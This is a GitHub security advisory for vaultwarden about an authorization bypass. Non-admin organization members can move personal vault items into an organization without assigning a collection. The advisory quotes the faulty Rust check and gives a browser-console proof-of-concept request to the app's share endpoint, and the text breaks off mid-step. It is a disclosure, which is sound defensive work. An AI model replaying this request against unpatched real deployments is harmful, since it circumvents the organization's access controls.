GHSA-7ccc-c43j-4p36: Organization member can move personal items into an organization without collection access
- Published:
- Fetched:
- Updated:
- Affects:
- dani-garcia vaultwarden
https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-7ccc-c43j-4p36 ↗
Organization member can move personal items into an organization without collection access ### Summary An authorization bypass vulnerability in the cipher sharing logic allows non-admin organization members to transfer personal ciphers to an organization without assigning them to a collection. This bypasses collection restrictions and results in "orphan" ciphers being injected directly into the organization's root. ### Details In `src/api/core/ciphers.rs`, the `update_cipher_from_data` function validates whether a user has permission to transfer a cipher to an organization. The authorization check relies on the following condition: ```rust if shared_to_collections.as_ref().is_some_and(|cols| !cols.is_empty()) || member.has_full_access() || cipher.is_write_accessible_to_user(&headers.user.uuid, conn).await ``` When a user shares a personal cipher, `is_write_accessible_to_user` evaluates to `true` because the user is the original owner. This creates a boolean short-circuit, bypassing the requirements that the user must either be an organization admin (`has_full_access`) or specify at least one valid collection (`!cols.is_empty()`). As a result, the backend accepts the transfer payload even if `collectionIds` is empty, converting the cipher into an unassigned/orphan item within the organization. ### PoC 1. Log in to the Web Vault as **User A** (a standard, non-admin member of **Organization B**). 2. Create a personal cipher (let's call it **Cipher A1**) and note its ID. 3. Open the browser's Developer Tools (F12) Console and execute the following API request, deliberately leaving the `collectionIds` array empty: ``` // 1. Target Configuration & JWT const JWT_TOKEN = "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuY...[Truncated]"; const PERSONAL_CIPHER_ID = "2004fb9e-8180-4909-91fb-c5a23feb20f3"; const TARGET_ORG_ID = "2004fb9e-1b95-4fab-9604-b9324033b580"; // 2. Audit Payload Construction const payload = { cipher: { type: 1, name: "Audit_Test_Item", organizationId: TARGET_ORG_ID, folderId: null, login: { username: "audit_test_user", password: "audit_test_password" } }, // Boundary test: Empty array to verify if backend forces collection association collectionIds: [] }; // 3. API Execution fetch(`/api/ciphers/${PERSONAL_CIPHER_ID}/share`, { method: 'PUT', headers: { 'Authorization': JWT_TOKEN, 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }) .then(async res => { if (res.ok) { console.warn("[Audit Flag] Request succeeded (200 OK). Potential logic flaw:", await res.json()); } else { console.log(`[Control Active] Request blocked (Status: ${res.status})`); } }) .catch(err => console.error("[Audit Error] Execution failed:", err)); ``` 4. Observe that the API returns `200 OK`. Cipher A1 disappears from User A's personal vault. 5. Log in as **User B** (Owner of Organization B) and navi Affected packages: rust:vaultwarden Patched: vaultwarden 1.37.4